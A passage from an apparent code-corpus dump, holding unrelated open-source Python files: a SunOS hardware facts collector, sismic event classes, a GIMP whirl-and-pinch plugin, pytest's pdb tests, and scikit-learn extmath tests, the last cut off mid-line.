'chip_id': physid = data[1].strip() if physid not in sockets: sockets[physid] = 1 else: sockets[physid] += 1 # Counting cores on Solaris can be complicated. # https://blogs.oracle.com/mandalika/entry/solaris_show_me_the_cpu # Treat 'processor_count' as physical sockets and 'processor_cores' as # virtual CPUs visisble to Solaris. Not a true count of cores for modern SPARC as # these processors have: sockets -> cores -> threads/virtual CPU. if len(sockets) > 0: cpu_facts['processor_count'] = len(sockets) cpu_facts['processor_cores'] = reduce(lambda x, y: x + y, sockets.values()) else: cpu_facts['processor_cores'] = 'NA' cpu_facts['processor_count'] = len(cpu_facts['processor']) return cpu_facts def get_memory_facts(self): memory_facts = {} rc, out, err = self.module.run_command(["/usr/sbin/prtconf"]) for line in out.splitlines(): if 'Memory size' in line: memory_facts['memtotal_mb'] = int(line.split()[2]) rc, out, err = self.module.run_command("/usr/sbin/swap -s") allocated = int(out.split()[1][:-1]) reserved = int(out.split()[5][:-1]) used = int(out.split()[8][:-1]) free = int(out.split()[10][:-1]) memory_facts['swapfree_mb'] = free // 1024 memory_facts['swaptotal_mb'] = (free + used) // 1024 memory_facts['swap_allocated_mb'] = allocated // 1024 memory_facts['swap_reserved_mb'] = reserved // 1024 return memory_facts @timeout.timeout() def get_mount_facts(self): mount_facts = {} mount_facts['mounts'] = [] # For a detailed format description see mnttab(4) # special mount_point fstype options time fstab = get_file_content('/etc/mnttab') if fstab: for line in fstab.splitlines(): fields = line.split('\t') mount_statvfs_info = get_mount_size(fields[1]) mount_info = {'mount': fields[1], 'device': fields[0], 'fstype': fields[2], 'options': fields[3], 'time': fields[4]} mount_info.update(mount_statvfs_info) mount_facts['mounts'].append(mount_info) return mount_facts def get_dmi_facts(self): dmi_facts = {} uname_path = self.module.get_bin_path("prtdiag") rc, out, err = self.module.run_command(uname_path) """ rc returns 1 """ if out: system_conf = out.split('\n')[0] found = re.search(r'(\w+\sEnterprise\s\w+)', system_conf) if found: dmi_facts['product_name'] = found.group(1) return dmi_facts def get_device_facts(self): # Device facts are derived for sdderr kstats. This code does not use the # full output, but rather queries for specific stats. # Example output: # sderr:0:sd0,err:Hard Errors 0 # sderr:0:sd0,err:Illegal Request 6 # sderr:0:sd0,err:Media Error 0 # sderr:0:sd0,err:Predictive Failure Analysis 0 # sderr:0:sd0,err:Product VBOX HARDDISK 9 # sderr:0:sd0,err:Revision 1.0 # sderr:0:sd0,err:Serial No VB0ad2ec4d-074a # sderr:0:sd0,err:Size 53687091200 # sderr:0:sd0,err:Soft Errors 0 # sderr:0:sd0,err:Transport Errors 0 # sderr:0:sd0,err:Vendor ATA device_facts = {} disk_stats = { 'Product': 'product', 'Revision': 'revision', 'Serial No': 'serial', 'Size': 'size', 'Vendor': 'vendor', 'Hard Errors': 'hard_errors', 'Soft Errors': 'soft_errors', 'Transport Errors': 'transport_errors', 'Media Error': 'media_errors', 'Predictive Failure Analysis': 'predictive_failure_analysis', 'Illegal Request': 'illegal_request', } cmd = ['/usr/bin/kstat', '-p'] for ds in disk_stats: cmd.append('sderr:::%s' % ds) d = {} rc, out, err = self.module.run_command(cmd) if rc != 0: return device_facts sd_instances = frozenset(line.split(':')[1] for line in out.split('\n') if line.startswith('sderr')) for instance in sd_instances: lines = (line for line in out.split('\n') if ':' in line and line.split(':')[1] == instance) for line in lines: text, value = line.split('\t') stat = text.split(':')[3] if stat == 'Size': d[disk_stats.get(stat)] = bytes_to_human(float(value)) else: d[disk_stats.get(stat)] = value.rstrip() diskname = 'sd' + instance device_facts['devices'][diskname] = d d = {} return device_facts def get_uptime_facts(self): uptime_facts = {} # On Solaris, unix:0:system_misc:snaptime is created shortly after machine boots up # and displays tiem in seconds. This is much easier than using uptime as we would # need to have a parsing procedure for translating from human-readable to machine-readable # format. # Example output: # unix:0:system_misc:snaptime 1175.410463590 rc, out, err = self.module.run_command('/usr/bin/kstat -p unix:0:system_misc:snaptime') if rc != 0: return uptime_facts['uptime_seconds'] = int(float(out.split('\t')[1])) return uptime_facts class SunOSHardwareCollector(HardwareCollector): _fact_class = SunOSHardware _platform = 'SunOS'
gpl-3.0
AlexandreDecan/sismic
sismic/model/events.py
1
2623
import warnings from typing import Any __all__ = ['Event', 'InternalEvent', 'MetaEvent'] class Event: """ An event with a name and (optionally) some data passed as named parameters. The list of parameters can be obtained using *dir(event)*. Notice that *name* and *data* are reserved names. If a *delay* parameter is provided, then this event will be considered as a delayed event (and won't be executed until given delay has elapsed). When two events are compared, they are considered equal if their names and their data are equal. :param name: name of the event. :param data: additional data passed as named parameters. """ __slots__ = ['name', 'data'] def __init__(self, name: str, **additional_parameters: Any) -> None: self.name = name self.data = additional_parameters def __eq__(self, other): if isinstance(other, Event): return (self.name == other.name and self.data == other.data) else: return NotImplemented def __getattr__(self, attr): try: return self.data[attr] except KeyError: raise AttributeError('{} has no attribute {}'.format(self, attr)) def __getstate__(self): # For pickle and implicitly for multiprocessing return self.name, self.data def __setstate__(self, state): # For pickle and implicitly for multiprocessing self.name, self.data = state def __hash__(self): return hash(self.name) def __dir__(self): return ['name'] + list(self.data.keys()) def __repr__(self): if self.data: return '{}({!r}, {})'.format( self.__class__.__name__, self.name, ', '.join( '{}={!r}'.format(k, v) for k, v in self.data.items())) else: return '{}({!r})'.format(self.__class__.__name__, self.name) class InternalEvent(Event): """ Subclass of Event that represents an internal event. """ pass class DelayedEvent(Event): """ An event that is delayed. Deprecated since 1.4.0, use `Event` with a `delay` parameter instead. """ def __init__(self, name: str, delay: float, **additional_parameters: Any) -> None: warnings.warn( 'DelayedEvent is deprecated since 1.4.0, use Event with a delay parameter instead.', DeprecationWarning) super().__init__(name, delay=delay, **additional_parameters) class MetaEvent(Event): """ Subclass of Event that represents a MetaEvent, as used in property statecharts. """ pass
lgpl-3.0
Bootz/shiny-robot
plug-ins/pygimp/plug-ins/whirlpinch.py
16
9500
#!/usr/bin/env python # Gimp-Python - allows the writing of Gimp plugins in Python. # Copyright (C) 1997 James Henstridge <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # Algorithms stolen from the whirl and pinch plugin distributed with Gimp, # by Federico Mena Quintero and Scott Goehring # # This version does the same thing, except there is no preview, and it is # written in python and is slower. import math, struct from gimpfu import * class pixel_fetcher: def __init__(self, drawable): self.col = -1 self.row = -1 self.img_width = drawable.width self.img_height = drawable.height self.img_bpp = drawable.bpp self.img_has_alpha = drawable.has_alpha self.tile_width = gimp.tile_width() self.tile_height = gimp.tile_height() self.bg_colour = '\0\0\0\0' self.bounds = drawable.mask_bounds self.drawable = drawable self.tile = None def set_bg_colour(self, r, g, b, a): self.bg_colour = struct.pack('BBB', r,g,b) if self.img_has_alpha: self.bg_colour = self.bg_colour + chr(a) def get_pixel(self, x, y): sel_x1, sel_y1, sel_x2, sel_y2 = self.bounds if x < sel_x1 or x >= sel_x2 or y < sel_y1 or y >= sel_y2: return self.bg_colour col = x / self.tile_width coloff = x % self.tile_width row = y / self.tile_height rowoff = y % self.tile_height if col != self.col or row != self.row or self.tile == None: self.tile = self.drawable.get_tile(False, row, col) self.col = col self.row = row return self.tile[coloff, rowoff] class Dummy: pass def whirl_pinch(image, drawable, whirl, pinch, radius): self = Dummy() self.width = drawable.width self.height = drawable.height self.bpp = drawable.bpp self.has_alpha = drawable.has_alpha self.bounds = drawable.mask_bounds self.sel_x1, self.sel_y1, self.sel_x2, self.sel_y2 = \ drawable.mask_bounds self.sel_w = self.sel_x2 - self.sel_x1 self.sel_h = self.sel_y2 - self.sel_y1 self.cen_x = (self.sel_x1 + self.sel_x2 - 1) / 2.0 self.cen_y = (self.sel_y1 + self.sel_y2 - 1) / 2.0 xhsiz = (self.sel_w - 1) / 2.0 yhsiz = (self.sel_h - 1) / 2.0 if xhsiz < yhsiz: self.scale_x = yhsiz / xhsiz self.scale_y = 1.0 elif xhsiz > yhsiz: self.scale_x = 1.0 self.scale_y = xhsiz / yhsiz else: self.scale_x = 1.0 self.scale_y = 1.0 self.radius = max(xhsiz, yhsiz); if not drawable.is_rgb and not drawable.is_grey: return gimp.tile_cache_ntiles(2 * (1 + self.width / gimp.tile_width())) whirl = whirl * math.pi / 180 dest_rgn = drawable.get_pixel_rgn(self.sel_x1, self.sel_y1, self.sel_w, self.sel_h, True, True) pft = pixel_fetcher(drawable) pfb = pixel_fetcher(drawable) bg_colour = gimp.get_background() pft.set_bg_colour(bg_colour[0], bg_colour[1], bg_colour[2], 0) pfb.set_bg_colour(bg_colour[0], bg_colour[1], bg_colour[2], 0) progress = 0 max_progress = self.sel_w * self.sel_h gimp.progress_init("Whirling and pinching") self.radius2 = self.radius * self.radius * radius pixel = ['', '', '', ''] values = [0,0,0,0] for row in range(self.sel_y1, (self.sel_y1+self.sel_y2)/2+1): top_p = '' bot_p = '' for col in range(self.sel_x1, self.sel_x2): q, cx, cy = calc_undistorted_coords(self, col, row, whirl, pinch, radius) if q: if cx >= 0: ix = int(cx) else: ix = -(int(-cx) + 1) if cy >= 0: iy = int(cy) else: iy = -(int(-cx) + 1) pixel[0] = pft.get_pixel(ix, iy) pixel[1] = pft.get_pixel(ix+1, iy) pixel[2] = pft.get_pixel(ix, iy+1) pixel[3] = pft.get_pixel(ix+1, iy+1) for i in range(self.bpp): values[0] = ord(pixel[0][i]) values[1] = ord(pixel[1][i]) values[2] = ord(pixel[2][i]) values[3] = ord(pixel[3][i]) top_p = top_p + bilinear(cx,cy, values) cx = self.cen_x + (self.cen_x - cx) cy = self.cen_y + (self.cen_y - cy) if cx >= 0: ix = int(cx) else: ix = -(int(-cx) + 1) if cy >= 0: iy = int(cy) else: iy = -(int(-cy) + 1) pixel[0] = pfb.get_pixel(ix, iy) pixel[1] = pfb.get_pixel(ix+1, iy) pixel[2] = pfb.get_pixel(ix, iy+1) pixel[3] = pfb.get_pixel(ix+1, iy+1) tmp = '' for i in range(self.bpp): values[0] = ord(pixel[0][i]) values[1] = ord(pixel[1][i]) values[2] = ord(pixel[2][i]) values[3] = ord(pixel[3][i]) tmp = tmp + bilinear(cx,cy, values) bot_p = tmp + bot_p else: top_p = top_p + pft.get_pixel(col, row) bot_p = pfb.get_pixel((self.sel_x2 - 1) - (col - self.sel_x1), (self.sel_y2-1) - (row - self.sel_y1)) + bot_p dest_rgn[self.sel_x1:self.sel_x2, row] = top_p dest_rgn[self.sel_x1:self.sel_x2, (self.sel_y2 - 1) - (row - self.sel_y1)] = bot_p progress = progress + self.sel_w * 2 gimp.progress_update(float(progress) / max_progress) drawable.flush() drawable.merge_shadow(True) drawable.update(self.sel_x1,self.sel_y1,self.sel_w,self.sel_h) def calc_undistorted_coords(self, wx, wy, whirl, pinch, radius): dx = (wx - self.cen_x) * self.scale_x dy = (wy - self.cen_y) * self.scale_y d = dx * dx + dy * dy inside = d < self.radius2 if inside: dist = math.sqrt(d / radius) / self.radius if (d == 0.0): factor = 1.0 else: factor = math.pow(math.sin(math.pi / 2 * dist), -pinch) dx = dx * factor dy = dy * factor factor = 1 - dist ang = whirl * factor * factor sina = math.sin(ang) cosa = math.cos(ang) x = (cosa * dx - sina * dy) / self.scale_x + self.cen_x y = (sina * dx + cosa * dy) / self.scale_y + self.cen_y else: x = wx y = wy return inside, float(x), float(y) def bilinear(x, y, values): x = x % 1.0 y = y % 1.0 m0 = values[0] + x * (values[1] - values[0]) m1 = values[2] + x * (values[3] - values[2]) return chr(int(m0 + y * (m1 - m0))) register( "python-fu-whirl-pinch", "Distorts an image by whirling and pinching", "Distorts an image by whirling and pinching", "James Henstridge (translated from C plugin)", "James Henstridge", "1997-1999", "_Whirl and Pinch...", "RGB*, GRAY*", [ (PF_IMAGE, "image", "Input image", None), (PF_DRAWABLE, "drawable", "Input drawable", None), (PF_SLIDER, "whirl", "Whirl angle", 90, (-360, 360, 1)), (PF_FLOAT, "pinch", "Pinch amount", 0), (PF_FLOAT, "radius", "radius", 1) ], [], whirl_pinch, menu="<Image>/Filters/Distorts") main()
gpl-3.0
tgoodlet/pytest
testing/test_pdb.py
5
11401
import sys import platform import _pytest._code import pytest def runpdb_and_get_report(testdir, source): p = testdir.makepyfile(source) result = testdir.runpytest_inprocess("--pdb", p) reports = result.reprec.getreports("pytest_runtest_logreport") assert len(reports) == 3, reports # setup/call/teardown return reports[1] class TestPDB: @pytest.fixture def pdblist(self, request): monkeypatch = request.getfixturevalue("monkeypatch") pdblist = [] def mypdb(*args): pdblist.append(args) plugin = request.config.pluginmanager.getplugin('debugging') monkeypatch.setattr(plugin, 'post_mortem', mypdb) return pdblist def test_pdb_on_fail(self, testdir, pdblist): rep = runpdb_and_get_report(testdir, """ def test_func(): assert 0 """) assert rep.failed assert len(pdblist) == 1 tb = _pytest._code.Traceback(pdblist[0][0]) assert tb[-1].name == "test_func" def test_pdb_on_xfail(self, testdir, pdblist): rep = runpdb_and_get_report(testdir, """ import pytest @pytest.mark.xfail def test_func(): assert 0 """) assert "xfail" in rep.keywords assert not pdblist def test_pdb_on_skip(self, testdir, pdblist): rep = runpdb_and_get_report(testdir, """ import pytest def test_func(): pytest.skip("hello") """) assert rep.skipped assert len(pdblist) == 0 def test_pdb_on_BdbQuit(self, testdir, pdblist): rep = runpdb_and_get_report(testdir, """ import bdb def test_func(): raise bdb.BdbQuit """) assert rep.failed assert len(pdblist) == 0 def test_pdb_interaction(self, testdir): p1 = testdir.makepyfile(""" def test_1(): i = 0 assert i == 1 """) child = testdir.spawn_pytest("--pdb %s" % p1) child.expect(".*def test_1") child.expect(".*i = 0") child.expect("(Pdb)") child.sendeof() rest = child.read().decode("utf8") assert "1 failed" in rest assert "def test_1" not in rest self.flush(child) @staticmethod def flush(child): if platform.system() == 'Darwin': return if child.isalive(): child.wait() def test_pdb_unittest_postmortem(self, testdir): p1 = testdir.makepyfile(""" import unittest class Blub(unittest.TestCase): def tearDown(self): self.filename = None def test_false(self): self.filename = 'debug' + '.me' assert 0 """) child = testdir.spawn_pytest("--pdb %s" % p1) child.expect('(Pdb)') child.sendline('p self.filename') child.sendeof() rest = child.read().decode("utf8") assert 'debug.me' in rest self.flush(child) def test_pdb_unittest_skip(self, testdir): """Test for issue #2137""" p1 = testdir.makepyfile(""" import unittest @unittest.skipIf(True, 'Skipping also with pdb active') class MyTestCase(unittest.TestCase): def test_one(self): assert 0 """) child = testdir.spawn_pytest("-rs --pdb %s" % p1) child.expect('Skipping also with pdb active') child.expect('1 skipped in') child.sendeof() self.flush(child) def test_pdb_interaction_capture(self, testdir): p1 = testdir.makepyfile(""" def test_1(): print("getrekt") assert False """) child = testdir.spawn_pytest("--pdb %s" % p1) child.expect("getrekt") child.expect("(Pdb)") child.sendeof() rest = child.read().decode("utf8") assert "1 failed" in rest assert "getrekt" not in rest self.flush(child) def test_pdb_interaction_exception(self, testdir): p1 = testdir.makepyfile(""" import pytest def globalfunc(): pass def test_1(): pytest.raises(ValueError, globalfunc) """) child = testdir.spawn_pytest("--pdb %s" % p1) child.expect(".*def test_1") child.expect(".*pytest.raises.*globalfunc") child.expect("(Pdb)") child.sendline("globalfunc") child.expect(".*function") child.sendeof() child.expect("1 failed") self.flush(child) def test_pdb_interaction_on_collection_issue181(self, testdir): p1 = testdir.makepyfile(""" import pytest xxx """) child = testdir.spawn_pytest("--pdb %s" % p1) #child.expect(".*import pytest.*") child.expect("(Pdb)") child.sendeof() child.expect("1 error") self.flush(child) def test_pdb_interaction_on_internal_error(self, testdir): testdir.makeconftest(""" def pytest_runtest_protocol(): 0/0 """) p1 = testdir.makepyfile("def test_func(): pass") child = testdir.spawn_pytest("--pdb %s" % p1) #child.expect(".*import pytest.*") child.expect("(Pdb)") child.sendeof() self.flush(child) def test_pdb_interaction_capturing_simple(self, testdir): p1 = testdir.makepyfile(""" import pytest def test_1(): i = 0 print ("hello17") pytest.set_trace() x = 3 """) child = testdir.spawn_pytest(str(p1)) child.expect("test_1") child.expect("x = 3") child.expect("(Pdb)") child.sendeof() rest = child.read().decode("utf-8") assert "1 failed" in rest assert "def test_1" in rest assert "hello17" in rest # out is captured self.flush(child) def test_pdb_set_trace_interception(self, testdir): p1 = testdir.makepyfile(""" import pdb def test_1(): pdb.set_trace() """) child = testdir.spawn_pytest(str(p1)) child.expect("test_1") child.expect("(Pdb)") child.sendeof() rest = child.read().decode("utf8") assert "1 failed" in rest assert "reading from stdin while output" not in rest self.flush(child) def test_pdb_and_capsys(self, testdir): p1 = testdir.makepyfile(""" import pytest def test_1(capsys): print ("hello1") pytest.set_trace() """) child = testdir.spawn_pytest(str(p1)) child.expect("test_1") child.send("capsys.readouterr()\n") child.expect("hello1") child.sendeof() child.read() self.flush(child) def test_set_trace_capturing_afterwards(self, testdir): p1 = testdir.makepyfile(""" import pdb def test_1(): pdb.set_trace() def test_2(): print ("hello") assert 0 """) child = testdir.spawn_pytest(str(p1)) child.expect("test_1") child.send("c\n") child.expect("test_2") child.expect("Captured") child.expect("hello") child.sendeof() child.read() self.flush(child) def test_pdb_interaction_doctest(self, testdir): p1 = testdir.makepyfile(""" import pytest def function_1(): ''' >>> i = 0 >>> assert i == 1 ''' """) child = testdir.spawn_pytest("--doctest-modules --pdb %s" % p1) child.expect("(Pdb)") child.sendline('i') child.expect("0") child.expect("(Pdb)") child.sendeof() rest = child.read().decode("utf8") assert "1 failed" in rest self.flush(child) def test_pdb_interaction_capturing_twice(self, testdir): p1 = testdir.makepyfile(""" import pytest def test_1(): i = 0 print ("hello17") pytest.set_trace() x = 3 print ("hello18") pytest.set_trace() x = 4 """) child = testdir.spawn_pytest(str(p1)) child.expect("test_1") child.expect("x = 3") child.expect("(Pdb)") child.sendline('c') child.expect("x = 4") child.sendeof() rest = child.read().decode("utf8") assert "1 failed" in rest assert "def test_1" in rest assert "hello17" in rest # out is captured assert "hello18" in rest # out is captured self.flush(child) def test_pdb_used_outside_test(self, testdir): p1 = testdir.makepyfile(""" import pytest pytest.set_trace() x = 5 """) child = testdir.spawn("%s %s" %(sys.executable, p1)) child.expect("x = 5") child.sendeof() self.flush(child) def test_pdb_used_in_generate_tests(self, testdir): p1 = testdir.makepyfile(""" import pytest def pytest_generate_tests(metafunc): pytest.set_trace() x = 5 def test_foo(a): pass """) child = testdir.spawn_pytest(str(p1)) child.expect("x = 5") child.sendeof() self.flush(child) def test_pdb_collection_failure_is_shown(self, testdir): p1 = testdir.makepyfile("""xxx """) result = testdir.runpytest_subprocess("--pdb", p1) result.stdout.fnmatch_lines([ "*NameError*xxx*", "*1 error*", ]) def test_enter_pdb_hook_is_called(self, testdir): testdir.makeconftest(""" def pytest_enter_pdb(config): assert config.testing_verification == 'configured' print 'enter_pdb_hook' def pytest_configure(config): config.testing_verification = 'configured' """) p1 = testdir.makepyfile(""" import pytest def test_foo(): pytest.set_trace() """) child = testdir.spawn_pytest(str(p1)) child.expect("enter_pdb_hook") child.send('c\n') child.sendeof() self.flush(child) def test_pdb_custom_cls(self, testdir): called = [] # install dummy debugger class and track which methods were called on it class _CustomPdb: def __init__(self, *args, **kwargs): called.append("init") def reset(self): called.append("reset") def interaction(self, *args): called.append("interaction") _pytest._CustomPdb = _CustomPdb p1 = testdir.makepyfile("""xxx """) result = testdir.runpytest_inprocess( "--pdbcls=_pytest:_CustomPdb", p1) result.stdout.fnmatch_lines([ "*NameError*xxx*", "*1 error*", ]) assert called == ["init", "reset", "interaction"]
mit
anirudhjayaraman/scikit-learn
sklearn/utils/tests/test_extmath.py
70
16531
# Authors: Olivier Grisel <[email protected]> # Mathieu Blondel <[email protected]> # Denis Engemann <[email protected]> # # License: BSD 3 clause import numpy as np from scipy import sparse from scipy import linalg from scipy import stats from sklearn.utils.testing import assert_equal from sklearn.utils.testing import assert_almost_equal from sklearn.utils.testing import assert_array_equal from sklearn.utils.testing import assert_array_almost_equal from sklearn.utils.testing import assert_true from sklearn.utils.testing import assert_greater from sklearn.utils.testing import assert_raises from sklearn.utils.extmath import density from sklearn.utils.extmath import logsumexp from sklearn.utils.extmath import norm, squared_norm from sklearn.utils.extmath import randomized_svd from sklearn.utils.extmath import row_norms from sklearn.utils.extmath import weighted_mode from sklearn.utils.extmath import cartesian from sklearn.utils.extmath import log_logistic from sklearn.utils.extmath import fast_dot, _fast_dot from sklearn.utils.extmath import svd_flip from sklearn.utils.extmath import _batch_mean_variance_update from sklearn.utils.extmath import _deterministic_vector_sign_flip from sklearn.utils.extmath import softmax from sklearn.datasets.samples_generator import make_low_rank_matrix def test_density(): rng = np.random.RandomState(0) X = rng.randint(10, size=(10, 5)) X[1, 2] = 0 X[5, 3] = 0 X_csr = sparse.csr_matrix(X) X_csc = sparse.csc_matrix(X) X_coo = sparse.coo_matrix(X) X_lil = sparse.lil_matrix(X) for X_ in (X_csr, X_csc, X_coo, X_lil): assert_equal(density(X_), density(X)) def test_uniform_weights(): # with uniform weights, results should be identical to stats.mode rng = np.random.RandomState(0) x = rng.randint(10, size=(10, 5)) weights = np.ones(x.shape) for axis in (None, 0, 1): mode, score = stats.mode(x, axis) mode2, score2 = weighted_mode(x, weights, axis) assert_true(np.all(mode == mode2)) assert_true(np.all(score == score2)) def test_random_weights(): # set this up so that each row should have a weighted mode of 6, # with a score that is easily reproduced mode_result = 6 rng = np.random.RandomState(0) x = rng.randint(mode_result, size=(100, 10)) w = rng.random_sample(x.shape) x[:, :5] = mode_result w[:, :5] += 1 mode, score = weighted_mode(x, w, axis=1) assert_array_equal(mode, mode_result) assert_array_almost_equal(score.ravel(), w[:, :5].sum(1)) def test_logsumexp(): # Try to add some smallish numbers in logspace x = np.array([1e-40] * 1000000) logx = np.log(x) assert_almost_equal(np.exp(logsumexp(logx)), x.sum()) X = np.vstack([x, x]) logX = np.vstack([logx, logx]) assert_array_almost_equal(np.exp(logsumexp(logX, axis=0)), X.sum(axis=0)) assert_array_almost_equal(np.exp(logsumexp(logX, axis=1)), X.sum(axis=1)) def test_randomized_svd_low_rank(): # Check that extmath.randomized_svd is consistent with linalg.svd n_samples = 100 n_features = 500 rank = 5 k = 10 # generate a matrix X of approximate effective rank `rank` and no noise # component (very structured signal): X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features, effective_rank=rank, tail_strength=0.0, random_state=0) assert_equal(X.shape, (n_samples, n_features)) # compute the singular values of X using the slow exact method U, s, V = linalg.svd(X, full_matrices=False) # compute the singular values of X using the fast approximate method Ua, sa, Va = randomized_svd(X, k) assert_equal(Ua.shape, (n_samples, k)) assert_equal(sa.shape, (k,)) assert_equal(Va.shape, (k, n_features)) # ensure that the singular values of both methods are equal up to the real # rank of the matrix assert_almost_equal(s[:k], sa) # check the singular vectors too (while not checking the sign) assert_almost_equal(np.dot(U[:, :k], V[:k, :]), np.dot(Ua, Va)) # check the sparse matrix representation X = sparse.csr_matrix(X) # compute the singular values of X using the fast approximate method Ua, sa, Va = randomized_svd(X, k) assert_almost_equal(s[:rank], sa[:rank]) def test_norm_squared_norm(): X = np.random.RandomState(42).randn(50, 63) X *= 100 # check stability X += 200 assert_almost_equal(np.linalg.norm(X.ravel()), norm(X)) assert_almost_equal(norm(X) ** 2, squared_norm(X), decimal=6) assert_almost_equal(np.linalg.norm(X), np.sqrt(squared_norm(X)), decimal=6) def test_row_norms(): X = np.random.RandomState(42).randn(100, 100) sq_norm = (X ** 2).sum(axis=1) assert_array_almost_equal(sq_norm, row_norms(X, squared=True), 5) assert_array_almost_equal(np.sqrt(sq_norm), row_norms(X)) Xcsr = sparse.csr_matrix(X, dtype=np.float32) assert_array_almost_equal(sq_norm, row_norms(Xcsr, squared=True), 5) assert_array_almost_equal(np.sqrt(sq_norm), row_norms(Xcsr)) def test_randomized_svd_low_rank_with_noise(): # Check that extmath.randomized_svd can handle noisy matrices n_samples = 100 n_features = 500 rank = 5 k = 10 # generate a matrix X wity structure approximate rank `rank` and an # important noisy component X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features, effective_rank=rank, tail_strength=0.5, random_state=0) assert_equal(X.shape, (n_samples, n_features)) # compute the singular values of X using the slow exact method _, s, _ = linalg.svd(X, full_matrices=False) # compute the singular values of X using the fast approximate method # without the iterated power method _, sa, _ = randomized_svd(X, k, n_iter=0) # the approximation does not tolerate the noise: assert_greater(np.abs(s[:k] - sa).max(), 0.05) # compute the singular values of X using the fast approximate method with # iterated power method _, sap, _ = randomized_svd(X, k, n_iter=5) # the iterated power method is helping getting rid of the noise: assert_almost_equal(s[:k], sap, decimal=3) def test_randomized_svd_infinite_rank(): # Check that extmath.randomized_svd can handle noisy matrices n_samples = 100 n_features = 500 rank = 5 k = 10 # let us try again without 'low_rank component': just regularly but slowly # decreasing singular values: the rank of the data matrix is infinite X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features, effective_rank=rank, tail_strength=1.0, random_state=0) assert_equal(X.shape, (n_samples, n_features)) # compute the singular values of X using the slow exact method _, s, _ = linalg.svd(X, full_matrices=False) # compute the singular values of X using the fast approximate method # without the iterated power method _, sa, _ = randomized_svd(X, k, n_iter=0) # the approximation does not tolerate the noise: assert_greater(np.abs(s[:k] - sa).max(), 0.1) # compute the singular values of X using the fast approximate method with # iterated power method _, sap, _ = randomized_svd(X, k, n_iter=5) # the iterated power method is still managing to get most of the structure # at the requested rank assert_almost_equal(s[:k], sap, decimal=3) def test_randomized_svd_transpose_consistency(): # Check that transposing the design matrix has limit impact n_samples = 100 n_features = 500 rank = 4 k = 10 X = make_low_rank_matrix(n_samples=n_samples, n_features=n_features, effective_rank=rank, tail_strength=0.5, random_state=0) assert_equal(X.shape, (n_samples, n_features)) U1, s1, V1 = randomized_svd(X, k, n_iter=3, transpose=False, random_state=0) U2, s2, V2 = randomized_svd(X, k, n_iter=3, transpose=True, random_state=0) U3, s3, V3 = randomized_svd(X, k, n_iter=3, transpose='auto', random_state=0) U4, s4, V4 = linalg.svd(X, full_matrices=False) assert_almost_equal(s1, s4[:k], decimal=3) assert_almost_equal(s2, s4[:k], decimal=3) assert_almost_equal(s3, s4[:k], decimal=3) assert_almost_equal(np.dot(U1, V1), np.dot(U4[:, :k], V4[:k, :]), decimal=2) assert_almost_equal(np.dot(U2, V2), np.dot(U4[:, :k], V4[:k, :]), decimal=2) # in this case 'auto' is equivalent to transpose assert_almost_equal(s2, s3) def test_svd_flip(): # Check that svd_flip works in both situations, and reconstructs input. rs = np.random.RandomState(1999) n_samples = 20 n_features = 10 X = rs.randn(n_samples, n_features) # Check matrix reconstruction U, S, V = linalg.svd(X, full_matrices=False) U1, V1 = svd_flip(U, V, u_based_decision=False) assert_almost_equal(np.dot(U1 * S, V1), X, decimal=6) # Check transposed matrix reconstruction XT = X.T U, S, V = linalg.svd(XT, full_matrices=False) U2, V2 = svd_flip(U, V, u_based_decision=True) assert_almost_equal(np.dot(U2 * S, V2), XT, decimal=6) # Check that different flip methods are equivalent under reconstruction U_flip1, V_flip1 = svd_flip(U, V, u_based_decision=True) assert_almost_equal(np.dot(U_flip1 * S, V_flip1), XT, decimal=6) U_flip2, V_flip2 = svd_flip(U, V, u_based_decision=False) assert_almost_equal(np.dot(U_flip2 * S, V_flip2), XT, decimal=6) def test_randomized_svd_sign_flip(): a = np.array([[2.0, 0.0], [0.0, 1.0]]) u1, s1, v1 = randomized_svd(a, 2, flip_sign=True, random_state=41) for seed in range(10): u2, s2, v2 = randomized_svd(a, 2, flip_sign=True, random_state=seed) assert_almost_equal(u1, u2) assert_almost_equal(v1, v2) assert_almost_equal(np.dot(u2 * s2, v2), a) assert_almost_equal(np.dot(u2.T, u2), np.eye(2)) assert_almost_equal(np.dot(v2.T, v2), np.eye(2)) def test_cartesian(): # Check if cartesian product delivers the right results axes = (np.array([1, 2, 3]), np.array([4, 5]), np.array([6, 7])) true_out = np.array([[1, 4, 6], [1, 4, 7], [1, 5, 6], [1, 5, 7], [2, 4, 6], [2, 4, 7], [2, 5, 6], [2, 5, 7], [3, 4, 6], [3, 4, 7], [3, 5, 6], [3, 5, 7]]) out = cartesian(axes) assert_array_equal(true_out, out) # check single axis x = np.arange(3) assert_array_equal(x[:, np.newaxis], cartesian((x,))) def test_logistic_sigmoid(): # Check correctness and robustness of logistic sigmoid implementation naive_logistic = lambda x: 1 / (1 + np.exp(-x)) naive_log_logistic = lambda x: np.log(naive_logistic(x)) x = np.linspace(-2, 2, 50) assert_array_almost_equal(log_logistic(x), naive_log_logistic(x)) extreme_x = np.array([-100., 100.]) assert_array_almost_equal(log_logistic(extreme_x), [-100, 0]) def test_fast_dot(): # Check fast dot blas wrapper function if fast_dot is np.dot: return rng = np.random.RandomState(42) A = rng.random_sample([2, 10]) B = rng.random_sample([2, 10]) try: linalg.get_blas_funcs(['gemm'])[0] has_blas = True except (AttributeError, ValueError): has_blas = False if has_blas: # Test _fast_dot for invalid input. # Maltyped data. for dt1, dt2 in [['f8', 'f4'], ['i4', 'i4']]: assert_raises(ValueError, _fast_dot, A.astype(dt1), B.astype(dt2).T) # Malformed data. ## ndim == 0 E = np.empty(0) assert_raises(ValueError, _fast_dot, E, E) ## ndim == 1 assert_raises(ValueError, _fast_dot, A, A[0]) ## ndim > 2 assert_raises(ValueError, _fast_dot, A.T, np.array([A, A])) ## min(shape) == 1 assert_raises(ValueError, _fast_dot, A, A[0, :][None, :]) # test for matrix mismatch error assert_raises(ValueError, _fast_dot, A, A) # Test cov-like use case + dtypes. for dtype in ['f8', 'f4']: A = A.astype(dtype) B = B.astype(dtype) # col < row C = np.dot(A.T, A) C_ = fast_dot(A.T, A) assert_almost_equal(C, C_, decimal=5) C = 